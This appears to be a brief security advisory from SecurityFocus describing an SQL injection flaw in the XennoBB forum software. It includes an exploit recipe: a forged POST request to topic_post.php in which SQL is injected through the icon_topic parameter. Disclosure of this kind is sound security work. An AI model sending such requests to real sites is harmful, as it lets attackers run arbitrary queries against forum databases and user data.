source: https://www.securityfocus.com/bid/19606/info
XennoBB is prone to an SQL-injection vulnerability that could allow an attacker to influence the structure or logic of SQL queries made by the application.
--------------------- EXPLOIT ---------------------
Submit a forged POST request to
topic_post.php?action=post&fid={forum ID here}
With the following as the POST data:
form_sent=1&form_user={username
here}&req_subject=Subject&req_message=Message&submit=1&icon_topic=[SQL]
Successful exploitation leads would lead to the SQL query in the
icon_topic
parameter being run.